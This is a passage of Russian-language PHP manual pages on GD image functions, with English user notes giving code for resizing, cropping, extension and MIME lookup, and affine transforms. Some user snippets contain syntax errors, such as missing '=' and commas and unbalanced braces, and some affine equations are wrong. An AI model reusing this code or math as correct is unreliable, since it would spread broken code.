To do it from the y side, simply reverse the x's and y's.
redcore at gmail dot com 09-Aug-2007 02:50
It's always good to check out an image's dimensions while attempting to upload to your server or database...especially if it's going to be displayed on a page that doesn't accomodate images beyond a particular size.

<?php

$tmpName = $_FILES['userfile']['tmp_name'];

list($width, $height, $type, $attr) = getimagesize($tmpName);

if($width>275 || $height>275)
{
die("exceeded image dimension limits.");
}

?>
ajreading at classixshop dot com 21-Apr-2005 01:30
A simple piece of code i wrote to proportionally resize an image to a max height and width then display it

<?php
// Max height and width
$max_width = 100;
$max_height = 100;

// Path to your jpeg

$upfile '/path/to/file.jpg';
    Header("Content-type: image/jpeg");

    $size = GetImageSize($upfile); // Read the size
          $width = $size[0];
          $height = $size[1];

          // Proportionally resize the image to the
          // max sizes specified above

          $x_ratio = $max_width / $width;
          $y_ratio = $max_height / $height;

          if( ($width <= $max_width) && ($height <= $max_height) )
          {
               $tn_width = $width;
               $tn_height = $height;
          }
          elseif (($x_ratio * $height) < $max_height)
          {
               $tn_height = ceil($x_ratio * $height);
               $tn_width = $max_width;
          }
          else
          {
               $tn_width = ceil($y_ratio * $width);
               $tn_height = $max_height;
          }
     // Increase memory limit to support larger files

     ini_set('memory_limit', '32M');

     // Create the new image!
     $src = ImageCreateFromJpeg($upfile);
     $dst = ImageCreateTrueColor($tn_width, $tn_height);
     ImageCopyResized($dst, $src, 0, 0, 0, 0, $tn_width, $tn_height, $width, $height);
     ImageJpeg($dst);
// Destroy the images
ImageDestroy($src);
ImageDestroy($dst);
?>
mail at soylentgreens dot com 30-Mar-2005 06:37
How about this for cropping images...

<?php

$imgfile = "img.jpg";
$cropStartX = 300;
$cropStartY = 250;
$cropW   = 200;
$cropH   = 200;

// Create two images
$origimg = imagecreatefromjpeg($imgfile);
$cropimg = imagecreatetruecolor($cropW,$cropH);

// Get the original size
list($width, $height) = getimagesize($imgfile);

// Crop
imagecopyresized($cropimg, $origimg, 0, 0, $cropStartX, $cropStartY, $width, $height, $width, $height);

// TODO: write code to save new image
// or, just display it like this:
header("Content-type: image/jpeg");
imagejpeg($cropimg);

// destroy the images
imagedestroy($cropimg);
imagedestroy($origimg);

?>
Coodiss at w3bbix dot net 15-Mar-2005 09:51
Heres a easy way to scale images to the <td> that they are in
*this is broken up so anyone can understand it :)

<?
$imageinfo = getimagesize("images/picture.jpg");

$ix=$imageinfo[0];
$iy=$imageinfo[1];

$widthscale = $ix/175;  //<TD> WIDTH
$heightscale = $iy/175; //<TD> HEIGHT

if($widthscale < 1)
$nwidth = $ix*$widthscale;
else
$nwidth = $ix/$widthscale;

if($heightscale < 1)
$nheight = $iy*$heightscale;
else
$nheight = $iy/$heightscale;

?>
php dot net at dannysauer dot com 12-Feb-2005 08:23
Note that, if you're going to be a good programmer and use named constatnts (IMAGETYPE_JPEG) rather than their values (2), you want to use the IMAGETYPE variants - IMAGETYPE_JPEG, IMAGETYPE GIF, IMAGETYPE_PNG, etc.  For some reason, somebody made a horrible decision, and IMG_PNG is actually 4 in my version of PHP, while IMAGETYPE_PNG is 3.  It took me a while to figure out why comparing the type against IMG_PNG was failing...
diablx at hotmail dot com 25-May-2004 02:36
I'm sorry for they other scripts, but I made one mistake about the image resizing... here is a working script !
<?
    // Some configuration variables !
    $maxWidth = 90;
    $maxHeight = 90;
    $maxCols = 8;
    $webDir = "https://localhost/images/";
    $localDir = $_SERVER['DOCUMENT_ROOT']."/images/";

    $AutorisedImageType = array ("jpg", "jpeg", "gif", "png");
?>

<center>
<table border='1' cellspacing='5' cellpadding='5' style="border-collapse:collapse; border-style: dotted">
<tr>
   <?
   // Open localDir
   $dh = opendir($localDir);
   while (false !== ($filename = readdir($dh))) {
       $filesArray[] = $filename;
   }

   // Display and resize
   foreach ($filesArray as $images) {

       $ext = substr($images, strpos($images, ".")+1, strlen($images));

       if( in_array($ext, $AutorisedImageType) ) {

           list($width, $height, $type, $attr) = @getimagesize( $localDir.$images );

            $xRatio = $maxWidth / $width;
            $yRatio = $maxHeight / $height;

            if ( ($width <= $maxWidth) && ($height <= $maxHeight) ) {
              $newWidth = $width;
              $newHeight = $height;
            }
            else if (($xRatio * $height) < $maxHeight) {
              $newHeight = ceil($xRatio * $height);
              $newWidth = $maxWidth;
            }
            else {
              $newWidth = ceil($yRatio * $width);
              $newHeight = $maxHeight;
            }

           if($i == $maxCols) {
               echo "</tr><tr>";
               $i = 0;
           }
           echo "<td align='center' valign='middle' width='$maxWidth' height='$maxHeight'><img src='".$webDir.$images."' width='$newWidth' height='$newHeight'></td>";
           $i++;
       }
   }
?>
</tr>
</table>
</center>


Получение размера изображения из строки данных

  • « getimagesize
  • image_type_to_extension »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Получение размера изображения из строки данных

getimagesizefromstring

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

getimagesizefromstring — Получение размера изображения из строки данных

Описание

getimagesizefromstring(string $string, array &$image_info = null): array|false

Функция работает идентично функции getimagesize() с той разницей, что getimagesizefromstring() принимает данные изображения в виде строки в качестве первого аргумента вместо имени файла.

Для уточнения, как функция работает, обращайтесь к документации к функции getimagesize().

Список параметров

string

Данные изображения в виде строки.

image_info

Смотрите getimagesize().

Возвращаемые значения

Смотрите getimagesize().

Примеры

Пример #1 Пример использования getimagesizefromstring()

<?php
$img = '/path/to/test.png';

// Открыть как файл
$size_info1 = getimagesize($img);

// Открыть как строку
$data = file_get_contents($img);
$size_info2 = getimagesizefromstring($data);
?>

Смотрите также

  • getimagesize() - Получение размера изображения

User Contributed Notes

sarah at anigel dot net 10-Feb-2014 08:46
Just a quick comment on the solution by imageman for versions < 5.4 you will need to enable allow_url_fopen in order to use the data wrapper.
imageman 24-Dec-2013 07:10
getimagesizefromstring function for < 5.4

<?php
   if (!function_exists('getimagesizefromstring')) {
      function getimagesizefromstring($string_data)
      {
         $uri = 'data://application/octet-stream;base64,'  . base64_encode($string_data);
         return getimagesize($uri);
      }
}
?>


Получение расширения файла для типа изображения

  • « getimagesizefromstring
  • image_type_to_mime_type »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Получение расширения файла для типа изображения

image_type_to_extension

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

image_type_to_extension — Получение расширения файла для типа изображения

Описание

image_type_to_extension(int $image_type, bool $include_dot = true): string|false

Возвращает расширение файла для заданной IMAGETYPE_XXX константы.

Список параметров

image_type

Одна из констант IMAGETYPE_XXX.

include_dot

Добавлять точку к расширению или нет. По умолчанию true.

Возвращаемые значения

Строка с расширением файла, соответствующим типу изображения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования image_type_to_extension()

<?php
// Создание изображения
$im = imagecreatetruecolor(100, 100);

// Сохранение изображения
imagepng($im, './test' . image_type_to_extension(IMAGETYPE_PNG));
imagedestroy($im);
?>

Примечания

Замечание:

Этой функции не требуется библиотека GD.

User Contributed Notes

twitter.com/jonathansampson 23-Feb-2022 03:42
If you would like to get the extension from a filename (string), the following should save you any frustration with exploding the string into parts (be sure to read the documentation warnings for pathinfo):

<?php

  $filename = "wallpaper.jpg";
  $extension = pathinfo( $filename, PATHINFO_EXTENSION );

  echo $extension; // "jpg"

?>
ergunadem5508 at gmail dot com 15-Oct-2021 07:02
// if you just want to find the format from the file path name without creating any images

// image path name
$image_name = "image name.png";

// After the last point is naturally the format.
$dots = explode(".",$image_name);

// We assign the last data of $dots to the variable $type.
$type = $dots[(count($dots)-1)];

// The output will be written without a dot.
echo "without dot : ".$type;

//for dotted
$type = ".".$type;
echo "dotted : ".$type;
bimal at sanjaal dot com 06-Feb-2012 10:06
<?php
/**
* Returns a COMMON extension with a dot
*/
function gd_extension($full_path_to_image='')
{
    $extension = 'null';
    if($image_type = exif_imagetype($full_path_to_image))
    {
        $extension = image_type_to_extension($image_type, false);
    }
    $known_replacements = array(
        'jpeg' => 'jpg',
        'tiff' => 'tif',
    );
    $extension = '.'.str_replace(array_keys($known_replacements), array_values($known_replacements), $extension);

    return $extension;
}

# Testing
$images = glob('*');
foreach($images as $i => $image)
{
    $extension = gd_extension($image);
    echo "\r\n", $image, ': ', $extension;
}
?>

Sometimes, the extension is not as I expected, until I wrote this piece.
mew at world dot org 07-Dec-2007 11:26
There is no need to over complicated folks.

<?php

if ( !function_exists('image_type_to_extension') ) {

    function image_type_to_extension ($type, $dot = true)
    {
        $e = array ( 1 => 'gif', 'jpeg', 'png', 'swf', 'psd', 'bmp'
            'tiff', 'tiff', 'jpc', 'jp2', 'jpf', 'jb2', 'swc',
            'aiff', 'wbmp', 'xbm');

        // We are expecting an integer.
        $type = (int)$type;
        if (!$type) {
            trigger_error( '...come up with an error here...', E_USER_NOTICE );
            return null;
        }

        if ( !isset($e[$type]) ) {
            trigger_error( '...come up with an error here...' E_USER_NOTICE );
            return null;
        }

        return ($dot ? '.' : '') . $e[$type];
    }

}

if ( !function_exists('image_type_to_mime_type') ) {

    function image_type_to_mime_type ($type)
    {
        $m = array ( 1 => 'image/gif', 'image/jpeg', 'image/png',
            'application/x-shockwave-flash', 'image/psd', 'image/bmp',
            'image/tiff', 'image/tiff', 'application/octet-stream',
            'image/jp2', 'application/octet-stream', 'application/octet-stream',
            'application/x-shockwave-flash', 'image/iff', 'image/vnd.wap.wbmp', 'image/xbm');

        // We are expecting an integer.
        $type = (int)$type;
        if (!$type) {
            trigger_error( '...come up with an error here...', E_USER_NOTICE );
            return null;
        }

        if ( !isset($m[$type]) ) {
            trigger_error( '...come up with an error here...' E_USER_NOTICE );
            return null;
        }

        return $m[$type];
    }

}

?>
Ian Paul Short chukdocsAtHotmailDotCom 28-Sep-2006 09:10
To: mail at spybreak dot de

I noted  your solution was for mime_type_to_extension which is flawed because the MIME types to extensions are not unique. See my example to consider what I have observed.

This function performs image type or mime type to extension. With limitation it will not attempt to handle duplicated MIME types. NOT DEFINITIVE!
<?php
    if(!function_exists('image_type_to_extension')){

        $extension;

        function image_type_or_mime_type_to_extension($image_type, $include_dot) {
            define ("INVALID_IMAGETYPE", '');

            $extension = INVALID_IMAGETYPE;            /// Default return value for invalid input

            $image_type_identifiers = array (                                                                ### These values correspond to the IMAGETYPE constants
                    array (IMAGETYPE_GIF         => 'gif',     "mime_type" => 'image/gif'),                        ###  1 = GIF
                    array (IMAGETYPE_JPEG        => 'jpg',     "mime_type" => 'image/jpeg'),                        ###  2 = JPG
                    array (IMAGETYPE_PNG        => 'png',     "mime_type" => 'image/png'),                        ###  3 = PNG
                    array (IMAGETYPE_SWF        => 'swf',     "mime_type" => 'application/x-shockwave-flash'),    ###  4 = SWF  // A. Duplicated MIME type
                    array (IMAGETYPE_PSD        => 'psd',     "mime_type" => 'image/psd'),                        ###  5 = PSD
                    array (IMAGETYPE_BMP        => 'bmp',     "mime_type" => 'image/bmp'),                        ###  6 = BMP
                    array (IMAGETYPE_TIFF_II    => 'tiff',     "mime_type" => 'image/tiff'),                        ###  7 = TIFF (intel byte order)
                    array (IMAGETYPE_TIFF_MM    => 'tiff',     "mime_type" => 'image/tiff'),                        ###  8 = TIFF (motorola byte order)
                    array (IMAGETYPE_JPC        => 'jpc',     "mime_type" => 'application/octet-stream'),            ###  9 = JPC  // B. Duplicated MIME type
                    array (IMAGETYPE_JP2        => 'jp2',     "mime_type" => 'image/jp2'),                        ### 10 = JP2
                    array (IMAGETYPE_JPX        => 'jpf',     "mime_type" => 'application/octet-stream'),            ### 11 = JPX  // B. Duplicated MIME type
                    array (IMAGETYPE_JB2        => 'jb2',     "mime_type" => 'application/octet-stream'),            ### 12 = JB2  // B. Duplicated MIME type
                    array (IMAGETYPE_SWC        => 'swc',     "mime_type" => 'application/x-shockwave-flash'),    ### 13 = SWC  // A. Duplicated MIME type
                    array (IMAGETYPE_IFF        => 'aiff',     "mime_type" => 'image/iff'),                        ### 14 = IFF
                    array (IMAGETYPE_WBMP        => 'wbmp',     "mime_type" => 'image/vnd.wap.wbmp'),                ### 15 = WBMP
                    array (IMAGETYPE_XBM        => 'xbm',     "mime_type" => 'image/xbm')                            ### 16 = XBM
            );

            if((is_int($image_type)) AND (IMAGETYPE_GIF <= $image_type) AND (IMAGETYPE_XBM >= $image_type)){
                $extension = $image_type_identifiers[$image_type-1]; // -1 because $image_type_identifiers array starts at [0]
                $extension = $extension[$image_type];
            }
            elseif(is_string($image_type) AND (($image_type != 'application/x-shockwave-flash') OR ($image_type != 'application/octet-stream'))){

                $extension =  match_mime_type_to_extension($image_type, $image_type_identifiers);
            }
            else
            {
                $extension = INVALID_IMAGETYPE;
            }

               if(is_bool($include_dot)){

                   if((false != $include_dot) AND (INVALID_IMAGETYPE != $extension)){
                       $extension = '.' . $extension;
                   }
               }
               else
               {
                   $extension = INVALID_IMAGETYPE;
               }

           return $extension;

           }
    }

    function match_mime_type_to_extension($image_type, $image_type_identifiers){
        // Return from loop on a match
        foreach($image_type_identifiers as $_key_outer_loop => $_val_outer_loop){
            foreach($_val_outer_loop as $_key => $_val){
                if(is_int ($_key)){             // Keep record of extension for mime check
                    $extension = $_val;
                }
                if($_key == 'mime_type'){
                    if($_val === $image_type){    // Found match no need to continue looping
                        return $extension;        ### Return
                    }
                }
            }
        }
        // Compared all values without match
        return $extension = INVALID_IMAGETYPE;
    }

    $extension = image_type_or_mime_type_to_extension($image_type, $include_dot);
     return $extension;
}
?>
Ian Paul Short chukdocsAtHotmailDotCom 28-Sep-2006 07:55
2006-09-29

A few notes about some contributions on this page.

1. It seemed to me that on the face it of all of the offerings to emulate "image_type_to_extension" function fell short of the mark in one way or another (See my comments below). That's why I wrote my own and submitted to this page below. In respect of my work any comments, bugs noted or improvements would be gratefully received.

2. Avoid using the Switch statement in an unconventional method to "Break" (I note the use of the return statement!). Also even if it does nothing at the inception of our code - Still put in the default case (It lets others realise that a default is not required or at worst forgotton.

3. In an environment that is under your control the risk of an error by determining the content by its extension or MIME type may seem an attractive solution to a problem. However, in the real world there's no guarantee that a MIME type or file extension is correct for it's associated file.

Consider using functions to get the image type:
      getimagesize or (This is available without GD)
      exif_imagetype

4. There's more to coding than just putting something together to do a job!!! But whatever is done is worthwhile - Hence expletives have no place in this forum!!

5. The idea from "oridan at hotmail dot com" is a very slick idea. I will be taking a closer look at this for my own project.
aleksandrs dot bogdanovs at gmail dot com 23-Dec-2005 05:44
When I was writing a script for my photo website, it was necessary to write such function, which can get the extension of uploaded file (image), so the function is:

<?php
function get_extension($imagetype)
   {
       if(empty($imagetype)) return false;
       switch($imagetype)
       {
           case 'image/bmp': return '.bmp';
           case 'image/cis-cod': return '.cod';
           case 'image/gif': return '.gif';
           case 'image/ief': return '.ief';
           case 'image/jpeg': return '.jpg';
           case 'image/pipeg': return '.jfif';
           case 'image/tiff': return '.tif';
           case 'image/x-cmu-raster': return '.ras';
           case 'image/x-cmx': return '.cmx';
           case 'image/x-icon': return '.ico';
           case 'image/x-portable-anymap': return '.pnm';
           case 'image/x-portable-bitmap': return '.pbm';
           case 'image/x-portable-graymap': return '.pgm';
           case 'image/x-portable-pixmap': return '.ppm';
           case 'image/x-rgb': return '.rgb';
           case 'image/x-xbitmap': return '.xbm';
           case 'image/x-xpixmap': return '.xpm';
           case 'image/x-xwindowdump': return '.xwd';
           case 'image/png': return '.png';
           case 'image/x-jps': return '.jps';
           case 'image/x-freehand': return '.fh';
           default: return false;
       }
   }
?>

It's useful for those, who upload files on server.


Получение Mime-типа для типа изображения, возвращаемого функциями getimagesize, exif_read_data, exif_thumbnail, exif_imagetype

  • « image_type_to_extension
  • image2wbmp »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Получение Mime-типа для типа изображения, возвращаемого функциями getimagesize, exif_read_data, exif_thumbnail, exif_imagetype

image_type_to_mime_type

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

image_type_to_mime_type — Получение Mime-типа для типа изображения, возвращаемого функциями getimagesize, exif_read_data, exif_thumbnail, exif_imagetype

Описание

image_type_to_mime_type(int $image_type): string

Функция image_type_to_mime_type() определяет Mime-тип для константы IMAGETYPE.

Список параметров

image_type

Одна из констант IMAGETYPE_XXX.

Возвращаемые значения

Возвращаемые значения приведены ниже

Возвращаемые значения и Константы
image_type | Возвращаемое значение
IMAGETYPE_GIF | image/gif
IMAGETYPE_JPEG | image/jpeg
IMAGETYPE_PNG | image/png
IMAGETYPE_SWF | application/x-shockwave-flash
IMAGETYPE_PSD | image/psd
IMAGETYPE_BMP | image/bmp
IMAGETYPE_TIFF_II (порядок байт intel) | image/tiff
IMAGETYPE_TIFF_MM (порядок байт motorola) | image/tiff
IMAGETYPE_JPC | application/octet-stream
IMAGETYPE_JP2 | image/jp2
IMAGETYPE_JPX | application/octet-stream
IMAGETYPE_JB2 | application/octet-stream
IMAGETYPE_SWC | application/x-shockwave-flash
IMAGETYPE_IFF | image/iff
IMAGETYPE_WBMP | image/vnd.wap.wbmp
IMAGETYPE_XBM | image/xbm
IMAGETYPE_ICO | image/vnd.microsoft.icon
IMAGETYPE_WEBP | image/webp
IMAGETYPE_AVIF | image/avif

Примеры

Пример #1 Пример использования image_type_to_mime_type()

<?php
header("Content-type: " . image_type_to_mime_type(IMAGETYPE_PNG));
?>

Примечания

Замечание:

Этой функции не требуется библиотека GD.

Смотрите также

  • getimagesize() - Получение размера изображения
  • exif_imagetype() - Determine the type of an image
  • exif_read_data() - Читает заголовки EXIF из файлов изображений
  • exif_thumbnail() - Получает встроенное превью изображения

User Contributed Notes

slegersjohn at gmail dot com 06-Mar-2014 04:39
If you are working with Images only and you need mime type (e.g. for headers), then this is a fast and reliable technique:

<?php
$file = 'path/to/image.jpg';
$image_mime = image_type_to_mime_type(exif_imagetype($file));
?>

It will output true image mime type even if you rename your image file.
kissrat at gmail dot com 10-Oct-2013 05:06
Map the image type enum to file extension:
$extensions = array(
    IMAGETYPE_GIF => "gif",
    IMAGETYPE_JPEG => "jpg",
    IMAGETYPE_PNG => "png",
    IMAGETYPE_SWF => "swf",
    IMAGETYPE_PSD => "psd",
    IMAGETYPE_BMP => "bmp",
    IMAGETYPE_TIFF_II => "tiff",
    IMAGETYPE_TIFF_MM => "tiff",
    IMAGETYPE_JPC => "jpc",
    IMAGETYPE_JP2 => "jp2",
    IMAGETYPE_JPX => "jpx",
    IMAGETYPE_JB2 => "jb2",
    IMAGETYPE_SWC => "swc",
    IMAGETYPE_IFF => "iff",
    IMAGETYPE_WBMP => "wbmp",
    IMAGETYPE_XBM => "xbm",
    IMAGETYPE_ICO => "ico"
);
benshelock at gmail dot com 09-Mar-2009 11:08
I was looking to detect the format of images, Im not sure if this is the best way but it works for me.

<?php
$filename = 'http://static.php.net/www.php.net/images/php.gif';
$size = getimagesize($filename);

switch ($size['mime']) {
    case "image/gif":
        echo "Image is a gif";
        break;
    case "image/jpeg":
        echo "Image is a jpeg";
        break;
    case "image/png":
        echo "Image is a png";
        break;
    case "image/bmp":
        echo "Image is a bmp";
        break;
}
?>


Выводит изображение в браузер или пишет в файл

  • « image_type_to_mime_type
  • imageaffine »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Выводит изображение в браузер или пишет в файл

image2wbmp

(PHP 4 >= 4.0.5, PHP 5, PHP 7)

image2wbmp — Выводит изображение в браузер или пишет в файл

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.3.0 и была УДАЛЕНА в версии PHP 8.0.0. Использовать эту функцию крайне не рекомендуется.

Описание

image2wbmp(resource $image, string $filename = ?, int $foreground = ?): bool

image2wbmp() выводит либо сохраняет WBMP версию заданного изображения image.

Список параметров

image

Ресурс изображения, возвращаемый одной из функций создания изображения, например imagecreatetruecolor().

filename

Путь для сохранения файла. Если не задан, исходные данные изображения будут выведены напрямую в выходной поток.

foreground

Вы можете установить цвет переднего плана с помощью этого параметра, установив идентификатор, полученный с помощью imagecolorallocate(). Цвет переднего плана по умолчанию чёрный.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Предостережение

Однако, если libgd не может вывести изображения, эта функция вернёт true.

Примеры

Пример #1 Пример использования image2wbmp()

<?php
$file = 'php.png';
$image = imagecreatefrompng($file);

header('Content-Type: ' . image_type_to_mime_type(IMAGETYPE_WBMP));
image2wbmp($image); // вывод потока
imagedestroy($image);
?>

Смотрите также

  • imagewbmp() - Выводит изображение в браузер или пишет в файл

User Contributed Notes

There are no user contributed notes for this page.


Вернуть изображение, содержащее аффинно-преобразованное изображение src, используя дополнительную область ограничения

  • « image2wbmp
  • imageaffinematrixconcat »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Вернуть изображение, содержащее аффинно-преобразованное изображение src, используя дополнительную область ограничения

imageaffine

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

imageaffine — Вернуть изображение, содержащее аффинно-преобразованное изображение src, используя дополнительную область ограничения

Описание

imageaffine(GdImage $image, array $affine, ?array $clip = null): GdImage|false

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

affine

Массив с ключами от 0 до 5.

clip

Массив с ключами "x", "y", "width" и "height"; или null.

Возвращаемые значения

Возвращает объект с аффинным изображением в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | clip теперь допускает значение null.
8.0.0 | В случае успешного выполнения функция теперь возвращает экземпляр GDImage; ранее возвращался ресурс (resource).

User Contributed Notes

der at herrstrietzel dot de 06-Mar-2021 01:43
Might be an alternative or workaround for imagecopyresampled as imageaffine supports more sophisticated interpolation such as IMG_MITCHELL.

// create image resource
$img_path = 'test.jpg';
$img = imagecreatefromstring(file_get_contents($img_path));
// scale image to 50% with Mitchell interpolation
$scale = 0.5;
imagesetinterpolation($img, IMG_MITCHELL);
$img_scaled = imageaffine($img, [0.5, 0, 0, 0.5, 0, 0]);
// save image
$output = 'test_scaledAffine.png';
imagepng($img_scaled, $output, 9);
echo '<img src="'.$output.'" width="300">';

Helper function example:

function scaleImgAffine($img, $newWidth, $resized_file='', $interpolation=IMG_MITCHELL)
{
    // create img resource if $img is file path
    if(!is_resource($img)){
        $img = imagecreatefromstring(file_get_contents($img));
    }
    // get original img dimensions
    $w = imagesx($img);
    $h = imagesy($img);

    /**
    * recommended interpolation method is 'IMG_MITCHELL'
    * providing the overall best precision and
    * compression for most image types
    * in particular for pngs with transparency suffering
    * from artifacted downsampling result
    */
    imagesetinterpolation($img, $interpolation);
    /*
    * imageaffine will scale dimensions in an anamorphic way -
    * even with square based images:
    * 1200x1200 will get something like 1199x1200
    * - improvements are very welcome
    * Workaround: Adjusting both the original width and the clip parameter
    * by adding 1px solved the issue for me
    */
    $scale = ($newWidth+1) / $w;
    $newHeight = floor($h*$scale);

    // scale by affine matrix
    $resized_affine =
    imageaffine(
        $img,
        [$scale, 0, 0, $scale, 0, 0],
        ['x' => 0, 'y' => 0, 'width' => $w, 'height' => $h-1]
    );
    /*
    * 'clip' parameter might be misleading as it expects
    * the original and not the final/transformed width
    */

    // save to file or return resource
    if($resized_file){
        $file_type = pathinfo($resized_file, PATHINFO_EXTENSION );
        switch($file_type){
            case 'jpg':
            case 'jpeg':
                // flatten transparency for jpgs
                $tmp_img = imagecreatetruecolor($newWidth, $newHeight );
                $bg = imagecolorallocate($tmp_img, 255,255,255);
                imagefill($tmp_img, 0, 0, $bg);
                imagesavealpha($tmp_img, false);
                imagealphablending($tmp_img, true);
                imagecopy($tmp_img, $resized_affine, 0, 0, 0, 0, $newWidth, $newHeight );
                imagejpeg($tmp_img, $resized_file, 85);
                break;
            case 'png':
                imagepng($resized_affine, $resized_file, 9);
                break;
        }
    }else{
        return $resized_affine;
    }
}

$img_scaled_affine = scaleImgAffine($img_path, 400, 'test_scaledAffine.jpg', true);

IMG_MITCHELL is in particular advanced when it comes to scaling png24 with transparency in GDlib environments (... actually png31 due to gds alpha 7bit channel?). Most commonly you'll experience bad compression using png due to imperceptible artifacts after resizing.

Hopefully we'll see an implementation of more advanced interpolation methods in basic GD resizing functions like imagecopyresized or imagescale.
adri at sternschanze dot net 17-Feb-2018 01:55
CORRECTION:

The AFFINE ARRAY, is defined like,

         $affine = [ a0, b0, a1, b1, a2, b2 ];
abc at ed48 dot com 22-Dec-2013 05:52
Here is an example, which performs a specific processing, every time it is executed:

<?php

if (!function_exists('imageaffine'))
{
echo 'FUNCTION NOT DEFINED IN THIS VERSION OF PHP';
exit;
}

$base_img = 'affine.png';

$tgt_img1 = 'triangle1.png';

$tgt_img2 = 'triangle2.png';

$arr_affine = [
[ 1, 0, 0, 1, 0, 0 ],
[ 1, 0, 0, 1, 150, 0 ],
[ 1.2, 0, 0, 0.6, 0, 0 ],
[ -1.2, 0, 0, -0.6, 0, 0 ],
[ 1, 2, 0, 1, 0, 0 ],
[ 2, 1, 0, 1, 0, 0 ],
[ cos(15), sin(15), -sin(15), cos(15), 0, 0 ],
[ cos(15), -sin(15), sin(15), cos(15), 0, 0 ]
];

$RSR_base = imagecreatetruecolor(400, 300);
$w = imagesx($RSR_base);
$h = imagesy($RSR_base);

$arr_clip = [ 'x' => 0, 'y' => 0, 'width' => $w, 'height' => $h ];

$fillcolor = imagecolorallocate($RSR_base, 0, 0, 0);

imagefill($RSR_base, 10,10, $fillcolor);

imagepng($RSR_base, $base_img);

$drawcolor = imagecolorallocate($RSR_base, 255, 0, 0);

$triangle = [ 50, 50, 50, 150, 200, 150 ];
$points = 3;

imageantialias($RSR_base, 1);

$drawtriangle = imagefilledpolygon($RSR_base, $triangle, $points, $drawcolor);

imagepng($RSR_base, $tgt_img1);

$select = mt_rand(0, 7);

$RSRaff2 = imageaffine($RSR_base, $arr_affine[$select], $arr_clip);

imagepng($RSRaff2, $tgt_img2, 9);

?>

SUPPORT IMAGE<br><br>
<img src="<?php echo $base_img; ?>" alt="*" /><br><br>

BASE IMAGE<br><br>
<img src="<?php echo $tgt_img1; ?>" alt="*" /><br><br>

RESULT IMAGE<br><br>
<img src="<?php echo $tgt_img2; ?>" alt="*" />
abc at ed48 dot com 22-Dec-2013 05:17
correcting:

c ) SCALE,

         $affine = [ M, 0, N, 1, 0, 0 ];

         equations remapping,

         x' = Mx + 0y + 0 = Mx

         y' = 0x + Ny = 0 = Ny

         Each point will stretch or compress its path, horizontally or vertically, according M and N; negative or positive values.
abc at ed48 dot com 22-Dec-2013 04:10
AFFINE is a geometric transformation operation involving MATRICES, covering both, 2D and 3D environment.
Transformations are often used in linear algebra and computer graphics.

In geometric transformations of images, the pixel coordinate is mapped.

This means that, each pixel is localized by two coordinates, in the rectangular domain of the image.
Without going into more details about pixel mapping, let's get to what really matters: the AFFINE transformations.
There are several classes of pixel mapping, one is called "affine".
Affine transformations include: scaling, rotation, shearing and translation.

PHP 5.5.0+, like "libart", uses ARRAYS of six floating-point elements to do the job.

The AFFINE ARRAY, is defined like,

         $affine = [ a0, a1, b0, b1, a2, b2 ];

         where,
         a0, a1, b0, b1, a2, b2 are floating-point values.

         represented by equations,

         x' = a0x + a1y + a2

         y' = b0x + b1y + b2

a ) IDENTITY, no change made in the path of points,

         $affine = [ 1, 0, 0, 1, 0, 0 ];

         equations remapping,

         x' = 1x + 0y + 0 = x

         y' = 0x + 1y = 0 = y

b ) TRANSLATION,

         $affine = [ 1, 0, 0, 1, H, V ];

         equations remapping,

         x' = 1x + 0y + H = x + H

         y' = 0x + 1y = V = y + V

         Each point is moved H units horizontaly and V units verticaly.

c ) SCALE,

         $affine = [ i, 0, j, 1, 0, 0 ];

         equations remapping,

         x' = Mx + 0y + 0 = Mx

         y' = 0x + Ny = 0 = Ny

         Each point will stretch or compress its path, horizontally or vertically, according M and N; negative or positive values.

d ) SHEARING, parallel to x axis,

         $affine = [ 1, K, 0, 1, 0, 0 ];

         equations remapping,

         x' = 1x + Ky + 0 = x + Ky

         y' = 0x + 1y = 0 = y

    SHEARING, parallel to y axis,

         $affine = [ K, 0, 0, 1, 0, 0 ];

         equations remapping,

         x' = 1x + 0y + 0 = x

         y' = Kx + 1y = 0 = y + Kx

e ) ROTATION, clockwise,

         $affine = [ cos O, sin O, -sin O, cos O, 0, 0 ];

         equations remapping,

         x' =  x cos O + y sin O + 0 = x cos O + y sin O

         y' = -x sin O + y cos O = 0 = y cos O - x sin O

    ROTATION, conterclockwise,

         $affine = [ cos O, -sin O, sin O, cos O, 0, 0 ];

         equations remapping,

         x' =  x cos O - y sin O + 0 = x cos O - y sin O

         y' = x sin O + y cos O = 0 = y sin O - x cos O


Конкатенирует две аффинные матрицы преобразования

  • « imageaffine
  • imageaffinematrixget »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Конкатенирует две аффинные матрицы преобразования

imageaffinematrixconcat

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

imageaffinematrixconcat — Конкатенирует две аффинные матрицы преобразования

Описание

imageaffinematrixconcat(array $matrix1, array $matrix2): array|false

Возвращает конкатенацию двух аффинных матриц преобразования, что полезно, если несколько преобразований должны быть применены к одному и тому же изображению за один раз.

Список параметров

matrix1

Аффинная матрица преобразования (массив с ключами от 0 до 5 и значениями с плавающей точкой).

matrix2

Аффинная матрица преобразования (массив с ключами от 0 до 5 и значениями с плавающей точкой).

Возвращаемые значения

Аффинная матрица преобразования (массив с ключами от 0 до 5 и значениями с плавающей точкой) или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования imageaffinematrixconcat()

<?php
$m1 = imageaffinematrixget(IMG_AFFINE_TRANSLATE, array('x' => 2, 'y' => 3));
$m2 = imageaffinematrixget(IMG_AFFINE_SCALE, array('x' => 4, 'y' => 5));
$matrix = imageaffinematrixconcat($m1, $m2);
print_r($matrix);
?>

Результат выполнения данного примера:

Array
(
    [0] => 4
    [1] => 0
    [2] => 0
    [3] => 5
